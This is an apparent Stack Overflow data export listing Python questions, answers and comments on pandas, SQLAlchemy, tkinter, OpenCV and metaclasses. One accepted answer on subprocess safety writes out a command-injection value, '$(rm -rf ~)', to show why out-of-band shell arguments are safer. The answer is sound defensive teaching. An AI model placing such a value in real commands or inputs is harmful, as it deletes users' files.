has body: Use itertools.product with itertools.chain from itertools import product, chain list(product(config['CONF_A'], config['CONF_B'], chain.from_iterable(config['CONF_C'].values()))) gives us [('a1', 'b1', 'c1'), ('a1', 'b1', 'c21'), ('a1', 'b1', 'c22'), ('a1', 'b2', 'c1'), ('a1', 'b2', 'c21'), ('a1', 'b2', 'c22'), ('a2', 'b1', 'c1'), ('a2', 'b1', 'c21'), ('a2', 'b1', 'c22'), ('a2', 'b2', 'c1'), ('a2', 'b2', 'c21'), ('a2', 'b2', 'c22'), ('a3', 'b1', 'c1'), ('a3', 'b1', 'c21'), ('a3', 'b1', 'c22'), ('a3', 'b2', 'c1'), ('a3', 'b2', 'c21'), ('a3', 'b2', 'c22')] Edit: a_gen = (('CONF_A', a) for a in config['CONF_A']) b_gen = (('CONF_B', b) for b in config['CONF_B']) c_gen = ((k, e) for k, v in config['CONF_C'].items() for e in v) for i in product(a_gen, b_gen, c_gen): print(i) gives us (('CONF_A', 'a1'), ('CONF_B', 'b1'), ('CONF_C1', 'c1')) (('CONF_A', 'a1'), ('CONF_B', 'b1'), ('CONF_C2', 'c21')) (('CONF_A', 'a1'), ('CONF_B', 'b1'), ('CONF_C2', 'c22')) (('CONF_A', 'a1'), ('CONF_B', 'b2'), ('CONF_C1', 'c1')) (('CONF_A', 'a1'), ('CONF_B', 'b2'), ('CONF_C2', 'c21')) (('CONF_A', 'a1'), ('CONF_B', 'b2'), ('CONF_C2', 'c22')) (('CONF_A', 'a2'), ('CONF_B', 'b1'), ('CONF_C1', 'c1')) (('CONF_A', 'a2'), ('CONF_B', 'b1'), ('CONF_C2', 'c21')) (('CONF_A', 'a2'), ('CONF_B', 'b1'), ('CONF_C2', 'c22')) (('CONF_A', 'a2'), ('CONF_B', 'b2'), ('CONF_C1', 'c1')) (('CONF_A', 'a2'), ('CONF_B', 'b2'), ('CONF_C2', 'c21')) (('CONF_A', 'a2'), ('CONF_B', 'b2'), ('CONF_C2', 'c22')) (('CONF_A', 'a3'), ('CONF_B', 'b1'), ('CONF_C1', 'c1')) (('CONF_A', 'a3'), ('CONF_B', 'b1'), ('CONF_C2', 'c21')) (('CONF_A', 'a3'), ('CONF_B', 'b1'), ('CONF_C2', 'c22')) (('CONF_A', 'a3'), ('CONF_B', 'b2'), ('CONF_C1', 'c1')) (('CONF_A', 'a3'), ('CONF_B', 'b2'), ('CONF_C2', 'c21')) (('CONF_A', 'a3'), ('CONF_B', 'b2'), ('CONF_C2', 'c22'))
upvote count: 4

http://stackoverflow.com/comment/81012687
score: 0
type: AnswerComment
has text: the `map` i find a bit over the top. You can just put OP's comprehension in there without the `if`
comment on: http://stackoverflow.com/a/47033105
type: Comment

http://stackoverflow.com/comment/80787244
type: Comment
type: QuestionComment
has text: @AndreasHeld I think I know that Sherlock, what I need to know is what the correct term is.
comment on: http://stackoverflow.com/q/46916978
score: 0

http://stackoverflow.com/comment/80771653
type: Comment
type: AnswerComment
has text: I recommend you don't. It's worth trying to get people to move over from Python2 to Python3. And also assume your code should work on both platforms. A simple example of this would be `dates = list(map(str, dates))`. That essentially makes the code work in Python2 AND in Python3. But again, assume Pyton3, and try to write your code for both would probably be a better approach.
comment on: http://stackoverflow.com/a/46911690
score: 1

http://stackoverflow.com/q/46960838
tagged with: flask-sqlalchemy
has title: Operational Error with Inserting a Datetime attribute in SQLAlchemy
favorite count: 0
has comment: http://stackoverflow.com/comment/80919845
has comment: http://stackoverflow.com/comment/80869571
has comment: http://stackoverflow.com/comment/80869323
tagged with: datetime
has comment: http://stackoverflow.com/comment/80877017
tagged with: python
type: Question
answer count: 0
downvote count: 0
upvote count: 1
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80869187
has body: I'm receiving the following error, when I attempt to create an object with the datetime attribute: datebase_setup file: from sqlalchemy import Column, ForeignKey, Integer, String, DateTime from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import relationship from sqlalchemy import create_engine Base = declarative_base() class User(Base): __tablename__ = 'user' id = Column(Integer, primary_key = True) name = Column(String(200), nullable = False) email = Column(String(200), nullable = False) picture = Column(String(300)) class Category(Base): __tablename__ = 'category' id = Column(Integer, primary_key = True) name = Column(String(200), nullable = False) #user_id = Column(Integer, ForeignKey('user.id')) #user = relationship(User) class Item(Base): __tablename__ = 'item' id = Column(Integer, primary_key = True) name = Column(String(100), nullable = False) date = Column(DateTime, nullable = False) description = Column(String(300)) price = Column(String(8)) item_id = Column(Integer, ForeignKey('category.id')) user_id = Column(Integer, ForeignKey('user.id')) category = relationship(Category) user = relationship(User) engine = create_engine('sqlite:///categoryitem.db') Base.metadata.create_all(engine) inserting object file: from sqlalchemy import create_engine from sqlalchemy.orm import sessionmaker import datetime from database_setup import * engine = create_engine('sqlite:///categoryitem.db') Base.metadata.bind = engine DBSession = sessionmaker(bind=engine) session = DBSession() user1 = User(name = "a", email = "abc@gmail.com", picture = "someurl") session.add(user1) session.commit() category1 = Category(name = "Books") session.add(category1) session.commit() item1 = Item(name = "Da Vinci Code", date = datetime.datetime.now(), description = "2003 mystery-detective novel by Dan Brown.", price = "10$", category = category1, user = user1) session.add(item1) session.commit() The error I receive on executing my Inserting file is: sqlalchemy.exc.Operat…
score: 1

http://stackoverflow.com/q/46924925
has comment: http://stackoverflow.com/comment/80796795
tagged with: dataframe
tagged with: python
has title: Apply log2 transformation to a pandas DataFrame
possible better answer: http://stackoverflow.com/a/46925045
type: AnsweredQuestion
has body: I want to apply log2 with applymap and np2.log2to a data and show it using boxplot, here is the code I have written: import matplotlib.pyplot as plt import numpy as np import pandas as pd data = pd.read_csv('testdata.csv') df = pd.DataFrame(data) ################################ # a. df.boxplot() plt.title('Raw Data') ################################ # b. df.applymap(np.log2) df.boxplot() plt.title('Normalized Data') and below is the boxplot I get for my RAW data which is okay, but I do get the same boxplot after applying log2 transformation !!! can anyone please tell me what I am doing wrong and what should be corrected to get the normalized data with applymap and np.log2
score: 3
upvote count: 3
answer count: 3
downvote count: 0
has answer: http://stackoverflow.com/a/46925056
tagged with: pandas
accepted answer: http://stackoverflow.com/a/46925056
has comment: http://stackoverflow.com/comment/80796777
has comment: http://stackoverflow.com/comment/80796949
has answer: http://stackoverflow.com/a/66564453
has comment: http://stackoverflow.com/comment/80796713
has comment: http://stackoverflow.com/comment/80796918
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80796996
tagged with: numpy
has answer: http://stackoverflow.com/a/46925045
has comment: http://stackoverflow.com/comment/80796901
has comment: http://stackoverflow.com/comment/80797270
has comment: http://stackoverflow.com/comment/80797254

http://stackoverflow.com/a/47466251
has body: Turns out it's just the security on facebook and twitter blocking spoofing all together, nothing wrong with my code.
score: 0
accepted answer of: http://stackoverflow.com/q/47003643
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47003643
type: Answer

http://stackoverflow.com/a/47053313
accepted answer of: http://stackoverflow.com/q/47053270
score: 2
upvote count: 2
has body: If it's for all columns, just create a simple list comprhension, and then update D, that should be good enough. # default aggregate function for all columns f = {x : 'sum' for x in df.columns} # override custom function for specific column f['D'] = lambda g: df.loc[g.index].E.sum() # apply aggregate to groupby df.groupby('GRP').agg(f).reindex(columns=df.columns) A B C D E GRP GRP 0 0.719581 0.684144 0.707859 1.170218 1.170218 0 1 0.454824 0.523983 0.181761 1.182902 1.182902 2
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47053270
has comment: http://stackoverflow.com/comment/81053561
has comment: http://stackoverflow.com/comment/81053492
type: Answer

http://stackoverflow.com/comment/94772558
has text: seems related [bug#17457](https://bugs.python.org/issue17457) which was fixed in python 3.4. which version of python you are using?
type: QuestionComment
comment on: http://stackoverflow.com/q/46976256
score: 1
type: Comment

avro
type: Tag
tag name: avro
tags question: http://stackoverflow.com/q/46914116

http://stackoverflow.com/q/46985506
score: 0
tagged with: python
has body: I wan to use Opencv Kalman filter implementation for smooth some noise points. So I've tried to code a simple test for it. Let's say I have an observation (a point). Each frame I'm receiving new observation, I call Kalman predict and Kalman correct. The state coming after opencv Kalman filter correct is "following the point". However the code does not work weel, it has no output which seems like an infinite loop in it. So can anyone give some hints, thanks. Below is my code: import cv2 import numpy as np frame = np.zeros((800,800),np.uint8) last_measure = current_measure = np.array((2,1),np.float32) last_predict = current_predict = np.zeros((2,1),np.float32) predict = [] measure = [] X = np.array([[1,0,0,0],[0,1,0,0]],np.float32) def move(x,y): global frame, last_measure, current_measure, measure, current_predict, last_predict last_predict = current_predict last_measure = current_measure predict.append([int(last_predict[0]),int(last_predict[1])]) measure.append([int(last_measure[0]),int(last_measure[1])]) current_measure = np.array([[np.float32(x)],[np.float32(y)]]) kalman.correct(current_measure) current_predict = kalman.predict() lmx,lmy = last_measure[0],last_measure[1] cmx,cmy = current_measure[0],current_measure[1] cpx,cpy = current_predict[0],last_predict[1] lpx,lpy = last_predict[0],last_predict[1] cv2.line(frame, (lmx,lmy), (cmx,cmy), (0,100,0)) cv2.line(frame, (lpx,lpy), (cpx,cpy), (0,0,200)) print(current_predict) cv2.namedWindow("kalman") kalman = cv2.KalmanFilter(4,2) kalman.measurementMatrix = np.array([[1,0,0,0],[0,1,0,0]],np.float32) kalman.transitionMatrix = np.array([[1,0,1,0],[0,1,0,1],[0,0,1,0], [0,0,0,1]],np.float32) kalman.processNoiseCov = np.array([[1,0,0,0],[0,1,0,0],[0,0,1,0], [0,0,0,1]],np.float32) * 0.03 for item in bound: move(item[0],item[1]) while True: cv2.imshow("frame",frame)
has title: cv2.kalman does not work properly
type: UnansweredQuestion
answer count: 1
has answer: http://stackoverflow.com/a/46990757
type: Question
tagged with: kalman-filter
tagged with: opencv

http://stackoverflow.com/q/47045029
has comment: http://stackoverflow.com/comment/81040216
has comment: http://stackoverflow.com/comment/81041743
score: 2
linked to: http://stackoverflow.com/q/41064015
tagged with: reflection
has body: I've been searching StackOverflow questions and reading SQLAlchemy and Flask-SQLAlchemy docs, and have still not figured out how to get reflection working (still new to SQLAlchemy). When I try to map the table using the engine, I get the error "sqlalchemy.exc.ArgumentError: Mapper Mapper|User|user could not assemble any primary key columns for mapped table 'user'". In spite of that, user has column 'id' as a primary key in the database. I'm not sure if there's something else I need to do here first. I had thought that if I could reflect, it would automatically give my User model class properties named after the database columns, and I wouldn't have to define them manually. Here is my code that I've cobbled together so far: from flask_sqlalchemy import SQLAlchemy from sqlalchemy.orm import mapper app = Flask(__name__) app.config['SQLALCHEMY_DATABASE_URI'] = "mysql+pymysql://" + dbUser + ":" + dbPass + "@" + dbAddress + ":3306/" + dbName app.config["SQLALCHEMY_ECHO"] = True db = SQLAlchemy(app) engine = db.engine meta = db.metadata Now with that, I know that db will give me a good database session. I'm not sure yet about what I'm doing wrong with engine and meta. I've seen engine being used to create the context differently, but I think I'm creating that with this line (from above): db = SQLAlchemy(app) Here's the place where I'm trying to reflect a model class: class User(db.Model): try: self = db.Model.metadata.tables('user', metadata) #self = Tadb.Model.metadata.tables('user', meta, autoload=True, autoload_with=engine, extend_existing=True) #Table('user', metadata, autoload_with=engine, extend_existing=True) #self = Table('user', meta, autoload_with=engine, extend_existing=True) #self.metadata.reflect(extend_existing=True, only=['user']) except Exception as e: print("In init User(): failed to map table user - " + str(e)) I get the mapper error on this line (from above): self = db.Model.metadata.tables('user', metadata) I've tried the other lines as well, but it doe…
tagged with: mysql
tagged with: sqlalchemy
has answer: http://stackoverflow.com/a/47067364
favorite count: 0
has comment: http://stackoverflow.com/comment/81038257
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/47045273
upvote count: 2
has comment: http://stackoverflow.com/comment/81044128
has comment: http://stackoverflow.com/comment/81082725
type: UnansweredQuestion
has title: Have not been able thus far to get Flask-MySQL reflection working
downvote count: 0
tagged with: python
has comment: http://stackoverflow.com/comment/81038090
tagged with: flask

http://stackoverflow.com/comment/81010392
comment on: http://stackoverflow.com/a/47021967
type: Comment
has text: The second option looks promising, I'll try it out and write how it went, but thanks for suggestions!
score: 0
type: AnswerComment

http://stackoverflow.com/comment/80991474
has text: So on Travis, the call to `self.login_user()` fails with a JSON result that does not contain an `Access token` key. So what *does* the JSON result look like? Could it be that the login fails because `self.register_user()` actually fails before that (you're not checking the result of that call)?
comment on: http://stackoverflow.com/q/47021991
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81030771
type: QuestionComment
comment on: http://stackoverflow.com/q/47040526
has text: this problem is np-hard so to solve it faster than via exaustive search would prove p == np and you could be a millionaire
score: 1
type: Comment

http://stackoverflow.com/comment/80815051
type: AnswerComment
has text: @AlgirdasPreid: of course, no input required. But the flushes might be periodically forced by an asynchronous process.
comment on: http://stackoverflow.com/a/46932683
type: Comment
score: 0

http://stackoverflow.com/comment/80872408
has text: This is exactly what I was looking for. Thanks for the quick and easy fix. I should note for future viewers that even though my provided example was symmetrical around the diagonal, this appears to work in cases where it's not as well.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/46962086
type: AnswerComment

http://stackoverflow.com/comment/80924387
type: AnswerComment
comment on: http://stackoverflow.com/a/46988917
has text: Sorry, just realized, since film_storage is global, there is no need for the return statement.
score: 0
type: Comment

http://stackoverflow.com/q/47029744
answer count: 2
has answer: http://stackoverflow.com/a/47029822
tagged with: python
type: UnansweredQuestion
has body: I have a list of lists: list = [ ['Row 1','Value 1'], ['Row 2', 'Value 2'], ['Row 3', 'Value 3', 'Value 4'] ] And I have a list for dataframe header: header_list = ['RowID', 'Value'] If I create the DataFrame using df = pd.DataFrame(list, columns = header_list), then python will through me an error says Row3 has more than 2 columns, which is inconsistent with the header_list. So how can I skip Row 3 when creating the DataFrame. And how to achieve this with "in-place" calculation, which means NOT creating a new list which loops through the original list and append the item with length=2. Thanks for the help!
tagged with: pandas
downvote count: 0
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/47029864
favorite count: 0
type: Question
has title: Skip item with more columns when creating Pandas DataFrame

http://stackoverflow.com/comment/81036286
score: 0
type: QuestionComment
has text: @JohnE Cool, that is the sort of thing I had in mind, but I am using pd.read_html()...
comment on: http://stackoverflow.com/q/47043682
type: Comment

http://stackoverflow.com/a/47007160
accepted answer of: http://stackoverflow.com/q/47006895
downvote count: 0
type: Answer
score: 6
has body: type is called a "metaclass" because it's a class that produces other classes (AKA types). It behaves like a normal class. In particular, it has the equivalent of a __new__ method that would look something like this in Python: class type(object): def __new__(cls, *args): num_args = len(args) if num_args not in (1, 3): raise TypeError('type() takes 1 or 3 arguments') # type(x) if num_args == 1: return args[0].__class__ # type(name, bases, dict) name, bases, attributes = args bases = bases or (object,) class Type(*bases): pass Type.__name__ = name qualpath = Type.__qualname__.rsplit('.', 1)[0] Type.__qualname__ = '.'.join((qualpath, name)) for name, value in attributes.items(): setattr(Type, name, value) return Type Class = type('Class', (), {'i': 1}) instance = Class() print(type(instance)) # -&gt; Class print(instance.__class__) # -&gt; Class print(type(type(instance))) # -&gt; type print(Class.i) # -&gt; 1 print(instance.i) # -&gt; 1 Note that when instantiating a class, the value of the new instance is whatever is returned from __new__. In the case of type, __new__ always returns a type object (AKA class). Here's an example of a class that extends int to use -1 as the default value instead of 0: def Int__new__(cls, *args): if not args: return cls(-1) return super(cls, cls).__new__(cls, *args) Int = type('Int', (int,), {'__new__': Int__new__}) i = Int() print(type(i)) # -&gt; Int print(i.__class__) # -&gt; Int print(type(type(i))) # -&gt; type print(i) # -&gt; -1 j = Int(1) print(j) # -&gt; 1 To really dig into how type works, take a look at the C code in type_new. You can see there (scroll down a few lines) that type(x) is a special case that immediately returns the type (AKA class) of x. When you do type(name, bases, dict), the type creation machinery is invoked. For more fun, try the following: type(object) type(type) isinstance(object, object) isinstance(type, object) type(1) type(type(1))
upvote count: 6
answers question: http://stackoverflow.com/q/47006895
type: AcceptedAnswer

http://stackoverflow.com/a/46975614
downvote count: 0
score: 1
type: Answer
answers question: http://stackoverflow.com/q/46975559
has body: You can pass a shell script as a single argument, with strings to be substituted as out-of-band arguments, as follows: date='2017-02-10' out='123.txt' subprocess.call( ['cd "$1"; pwd; echo missing &gt;"$2"', # shell script to run '_', # $0 for that script date, # $1 for that script out, # $2 for that script ], shell=True) This is much more secure than substituting your date and out values into a string which is evaluated by the shell as code, because these values are treated as literals: A date of $(rm -rf ~) will not in fact try to delete your home directory. :)
has comment: http://stackoverflow.com/comment/80899821
upvote count: 1
has comment: http://stackoverflow.com/comment/80899572
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/46975559

http://stackoverflow.com/comment/80773845
type: Comment
type: QuestionComment
has text: I believe it's because the `super` call returns `a proxy object that delegates method calls to a parent or sibling class of type`, which has its own `__str__`, not resolving to the 'A'
comment on: http://stackoverflow.com/q/46913287
score: 2

http://stackoverflow.com/q/46969291
type: AnsweredQuestion
tagged with: dataframe
tagged with: python
linked to: http://stackoverflow.com/q/46967505
has title: Searching unique elements in the two columns of the two dataframes
type: Question
score: 2
answer count: 2
tagged with: pandas
possible better answer: http://stackoverflow.com/a/46969865
upvote count: 2
downvote count: 0
has answer: http://stackoverflow.com/a/46969865
accepted answer: http://stackoverflow.com/a/46969298
has answer: http://stackoverflow.com/a/46969298
favorite count: 0
has body: From here Displaying the unique elements from the two columns in two dataframe data1 = {'date': ['1998', '1999','1999','2000','1999'], 'node1': [1,1,2,3,3], 'node2': [3,4,3,4,8], 'weight': [1,1,1,1,1], } df1 = pd.DataFrame(data1, columns = ['date', 'node1','node2','weight']) data2 = {'date': ['2002','2001','2003','2002','2002','2001'], 'node1': [1,1,1,2,2,3], 'node2': [2,3,4,3,5,4], 'weight': [1,1,1,1,1,1], } df2= pd.DataFrame(data2, columns = ['date', 'node1','node2','weight']) I would like to search through the two columns (node1,node2) in the two dataframes and display the node which are unique in the two dataframes. In this example 8 from data1 and 5 from data2 are the unique nodes in the dataframe. Output Format: dataframe1: 8 dataframe2: 5

http://stackoverflow.com/comment/80931755
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46992100
has text: You say you have two 2D arrays, and you want "one plain ppm image". Do you mean one ppm *file* that contains two images, or do you really want to combine the two arrays to create one image?
type: Comment

http://stackoverflow.com/comment/136253872
type: Comment
type: QuestionComment
has text: Getting error `AttributeError: module 'pandas' has no attribute 'rolling_corr'`
score: 0
comment on: http://stackoverflow.com/q/46976710

http://stackoverflow.com/comment/80986433
has text: That matches for the YYYYMMDD format, but it can also be MMDD and if thats the case I need to append the year from a second column.
comment on: http://stackoverflow.com/a/47019657
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/80932980
comment on: http://stackoverflow.com/q/46992970
score: 1
type: Comment
type: QuestionComment
has text: I find the output easier to understand when the `print` is the first line in the recursive method. And it helps to print something, e.g. `root.data`, that acts as a signpost to let you know where you are in the tree. So `print root.data, data` as the first line, would be my suggestion.

http://stackoverflow.com/a/46986517
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/46986435
type: Answer
score: 4
upvote count: 4
has comment: http://stackoverflow.com/comment/80934647
answers question: http://stackoverflow.com/q/46986435
has body: You can use this regex: regex = r'&lt;final:([^&gt;]*)&gt;\s*([^&lt;\s\.]*)' Your group 1 will contain the tags i.e, company name, number of employees, average salary and group 2 will contain their values i.e, abc, 143, medium. Live demo here OUTPUT &gt;&gt;&gt; pattern=re.compile(regex) &gt;&gt;&gt; finding=re.findall(pattern,string) &gt;&gt;&gt; print(finding) [('company name', 'abc'), ('number of employees', '143'), (' average salary', 'medium')] To make 2 different lists from your finding, you can do something like this: &gt;&gt;&gt; tags = map(lambda x: x[0], finding) &gt;&gt;&gt; values = map(lambda x: x[1], finding) &gt;&gt;&gt; tags ['company name', 'number of employees', ' average salary'] &gt;&gt;&gt; values ['abc', '143', 'medium'] or you can also use zip to convert it to two lists: &gt;&gt;&gt; tags, values = map(list, zip(*finding)) &gt;&gt;&gt; tags ['company name', 'number of employees', ' average salary'] &gt;&gt;&gt; values ['abc', '143', 'medium']

http://stackoverflow.com/q/46910133
has body: Here I need to choose user's first name and second name from another table. Model is StockTransfer but I need from Users model class Meta: model = StockTransfer fields = ( 'id', 'from_stock', 'to_stock', 'comment', 'products', 'status', 'user', 'transfer_request', 'created_date', 'date_delivery', 'modified_date', 'accepted_time', 'cancelled_time', 'first__name', 'second__name' ) model (users.py) class User(AbstractBaseUser, PermissionsMixin): first_name = models.CharField(max_length=255) second_name = models.CharField(max_length=255) ----- stocktransfer.py (model) class StockTransfer(BaseModel, DeleteMixin): PENDING = '0' APPROVED = '1' CANCELLED = '2' STATUS_CHOICES = ( (PENDING, 'pending'), (APPROVED, 'approved'), (CANCELLED, 'cancelled'), ) from_stock = models.ForeignKey('main.Stock', related_name='from_transfers') to_stock = models.ForeignKey('main.Stock', related_name='to_transfers') comment = models.CharField(max_length=255, blank=True, null=True) status = models.CharField(max_length=1, choices=STATUS_CHOICES, default=PENDING) user = models.ForeignKey('main.User', null=True) I think I can choose the first name and second name just simple way write first_name and second_name in metaclass fields. Is it right? Any ideas?
has comment: http://stackoverflow.com/comment/80766809
score: 0
has answer: http://stackoverflow.com/a/46910325
answer count: 1
type: Question
tagged with: model
has title: Django select model fields through in meta class
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80766848
tagged with: django
has comment: http://stackoverflow.com/comment/80767074
tagged with: python

http://stackoverflow.com/a/47049848
type: Answer
score: 0
answers question: http://stackoverflow.com/q/47049240
has body: Just provide a demo use djcelery with different vhost which is tested. in your project folder,__init__.py: from __future__ import absolute_import # This will make sure the app is always imported when # Django starts so that shared_task will use this app. from .celery import app as celery_app celery.py,replace SchoolMS with your own Project label: from __future__ import absolute_import import os from celery import Celery, platforms from django.conf import settings # set the default Django settings module for the 'celery' program. os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'SchoolMS.settings') app = Celery('SchoolMS') platforms.C_FORCE_ROOT = True # Using a string here means the worker will not have to # pickle the object when using Windows. app.config_from_object('django.conf:settings') app.autodiscover_tasks(lambda: settings.INSTALLED_APPS) settings.py: BROKER_URL = 'amqp://schoolms:schoolms@localhost:5672/schoolms' CELERY_TIMEZONE = 'Asia/Shanghai' CELERYBEAT_SCHEDULER = 'djcelery.schedulers.DatabaseScheduler' CELERYBEAT_SCHEDULE = { } user/tasks.py: from celery import task from django.conf import settings @task def send_tel_verify(tel_verify_id): try: tel_verify = TelVerify.objects.get(id=tel_verify_id) try: send_sms(tel_verify.tel, 'xxxx') return ''success' except SmsError as e: return 'error' except ObjectDoesNotExist: return 'not found' user/views.py send_tel_verify.delay(tel_verify.id)

http://stackoverflow.com/comment/80827992
has text: What is your desired results? Why so many duplicate date rows?
score: 0
comment on: http://stackoverflow.com/q/46936981
type: QuestionComment
type: Comment

http://stackoverflow.com/q/47010022
has body: Trying to solve a set of exponential equations but keep getting errors saying that "can't convert float" or "float is not callable" You may run the code, just replace the variables with any values you'd like. from sympy.abc import x, y import numpy as np import sympy as sp import math A0 = 58 G0 = 44 Gmax = 117 tmax = 40 s=[((sp.log(x) - sp.log(y)) - (tmax*(x-y))), (Gmax- G0 - (A0 * x /(y-x))*((sp.exp((-x)*tmax)) - (sp.exp((-y)*tmax))))] sp.solve(s, x, y)
has comment: http://stackoverflow.com/comment/80988659
score: 0
has comment: http://stackoverflow.com/comment/80968620
tagged with: equations
answer count: 1
linked to: http://stackoverflow.com/q/18267470
has answer: http://stackoverflow.com/a/47011995
type: Question
tagged with: numpy
tagged with: exponential
type: UnansweredQuestion
tagged with: math
has comment: http://stackoverflow.com/comment/80968858
tagged with: python
has title: Solving set of exponential equations in python
has comment: http://stackoverflow.com/comment/80988827

http://stackoverflow.com/q/46939378
has answer: http://stackoverflow.com/a/46939739
type: Question
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/46939739
tagged with: python
has title: Stoping code by pressing button on tkinter
tagged with: python-3.x
tagged with: tkinter
has comment: http://stackoverflow.com/comment/80826345
score: 0
tagged with: user-interface
has body: I'm currently trying to create a alarm system using two Raspberry Pi's, the trigger to let the alarm go of is simulated by a button (by breadboard) connected to one of the pi's. When this button is pressed (so the alarm gets activated) the user has 30 seconds the time to turn of the alarm by pressing a button in a GUI made with tkinter. If the button is not pressed within 30 seconds there wil be sent a TCP to a different RPI. So now the question: how do I create a GUI with tkinter that stops the pi from sending a TCP if the user presses the button 'STOP ALARM' on the GUI. This is what I tried: (I did not include the buttonpressed &amp; sendtcp functions because they're very long.) import import RPi.GPIO as GPIO from tkinter import * import socket import sys import time def alarmstopped() return True count = 0 while True: if buttonPressed() == True: #Button pressed while True: if alarmStoped() == True: #Stops 30sec count break count = 0 elif count &gt;=30: sendTCP() #Sends TCP to other RPI time.sleep(0.2) break else: count += 1 time.sleep(1) print(count) continue else: continue root = Tk() button = Button(master=root, cursor='hand2', text='stop alarm', command=alarmStoped) button.pack() Pastebin Hope you guys can help me and feel free to correct my English if I made mistakes ;)
answer count: 1

http://stackoverflow.com/comment/80953996
comment on: http://stackoverflow.com/q/47003691
score: 1
has text: If you look in the json, you see that ths base json object is a list, whera 'data' is in the firste entry. So you can just add [0] betwen child and ['data'].
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46983762
answer count: 2
duplicate of: http://stackoverflow.com/q/32440798
type: UnansweredQuestion
score: 0
tagged with: pandas
has title: How to filter rows based on length in data frame python
has answer: http://stackoverflow.com/a/46985996
linked to: http://stackoverflow.com/q/32440798
tagged with: dataframe
tagged with: python
has answer: http://stackoverflow.com/a/46983806
has body: Suppose I have a dataframe id name cost A first 19 A ssdecond 22 A thirdoth 10 I can chose columns based on value by df[df.cost &gt; 10] But, how would I do it based on length, df[len(df.name) &lt; 4] I get an error. Is there another way to do it
has comment: http://stackoverflow.com/comment/80918667
type: Question

http://stackoverflow.com/comment/81029946
score: 0
type: Comment
has text: fixed sorry - edited.
type: QuestionComment
comment on: http://stackoverflow.com/q/47041498

http://stackoverflow.com/comment/80926613
score: 0
comment on: http://stackoverflow.com/q/46966399
type: Comment
type: QuestionComment
has text: you seem to access array in col major in the kernel, is that on purpose (python if row major, isn't it?); In addition, can you use oclgrind on your program, aybe it can point invalid accesses

http://stackoverflow.com/q/47017423
upvote count: 1
favorite count: 0
type: AnsweredQuestion
score: 1
tagged with: pyside
tagged with: python
type: Question
accepted answer: http://stackoverflow.com/a/47019290
has body: In the code below, the top of the QTextEdit and QGraphicsView widgets are not aligned when using QHBoxLayout. However, if you comment out QTextEdit and uncomment the other QGraphicsView setup, the top of the widgets align perfectly. Here are my questions: What causes this alignment issue to occur and how can it be fixed? Are issues like this best avoided by using Qt Creator? Is the whole QGraphicsView() --> QGraphicsScene() --> QWidget() necessary to place graphics next to other widgets? import sys from PySide.QtCore import * from PySide.QtGui import * class Widget(QWidget): def __init__(self, parent=None): super(Widget, self).__init__() # Create Widget1 widget1 = QTextEdit() #widget1 = QWidget() #view1 = QGraphicsView() #scene1 = QGraphicsScene(0,0,200,500) #view1.setScene(scene1) #layout = QHBoxLayout() #layout.addWidget(view1) #widget1.setLayout(layout) # Create Widget2 widget2 = QWidget() view2 = QGraphicsView() scene2 = QGraphicsScene(0,0,200,500) view2.setScene(scene2) layout = QHBoxLayout() layout.addWidget(view2) widget2.setLayout(layout) # Layout of Side by Side windows container = QWidget() layout = QHBoxLayout() layout.addWidget(widget1) layout.addWidget(widget2) container.setLayout(layout) # Scroll Area Properties scroll = QScrollArea() scroll.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOn) scroll.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff) scroll.setWidgetResizable(False) scroll.setWidget(container) # Scroll Area Layer add vLayout = QVBoxLayout(self) vLayout.addWidget(scroll) self.setLayout(vLayout) if __name__ == '__main__': app = QApplication(sys.argv) dialog = Widget() dialog.show() app.exec_()
tagged with: layout
answer count: 1
has answer: http://stackoverflow.com/a/47019290
downvote count: 0
has title: Getting the tops of side-by-side widgets to align using PySide

http://stackoverflow.com/comment/81060176
has text: You can use recrusion.
comment on: http://stackoverflow.com/q/47056563
type: QuestionComment
score: 3
type: Comment

http://stackoverflow.com/a/46950569
type: Answer
answers question: http://stackoverflow.com/q/46948326
score: 1
downvote count: 0
upvote count: 1
has body: Your problem is this line: contact2() service.people().createContact returns dictionary as response and you are trying to call it. dictionary object is not a function.

http://stackoverflow.com/comment/80784748
type: AnswerComment
comment on: http://stackoverflow.com/a/46917188
has text: yeah, then just add a different property that does this
type: Comment
score: 0

http://stackoverflow.com/q/47007536
score: 0
has answer: http://stackoverflow.com/a/47007579
upvote count: 1
has answer: http://stackoverflow.com/a/47007870
downvote count: 1
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47007593
linked to: http://stackoverflow.com/q/13413590
has answer: http://stackoverflow.com/a/47007593
possible better answer: http://stackoverflow.com/a/47007579
has comment: http://stackoverflow.com/comment/80962094
tagged with: python
has title: Merging a DataFrame with a lot of NaN
has comment: http://stackoverflow.com/comment/80962470
type: AnsweredQuestion
answer count: 3
tagged with: pandas
has body: Hi I have Pandas data frame that looks like this: 0 1 2 3 4 5 6 150 NaN NaN NaN NaN March 1980 NaN NaN 151 NaN NaN NaN NaN June 1990 NaN NaN 152 NaN NaN NaN Sep 2015 NaN NaN NaN 153 NaN NaN NaN Jan 1972 NaN NaN NaN 154 NaN NaN NaN Mar 1974 NaN NaN NaN I cannot use dropna(), cuz I will have an empty dataframe. All columns have one data in one column, is there a way to transform it in one column DataFrame? 0 150 March 1980 151 June 1990 152 Sep 2015 153 Jan 1972 154 Mar 1974 Thanks.

http://stackoverflow.com/q/46923274
has answer: http://stackoverflow.com/a/46932735
tagged with: python
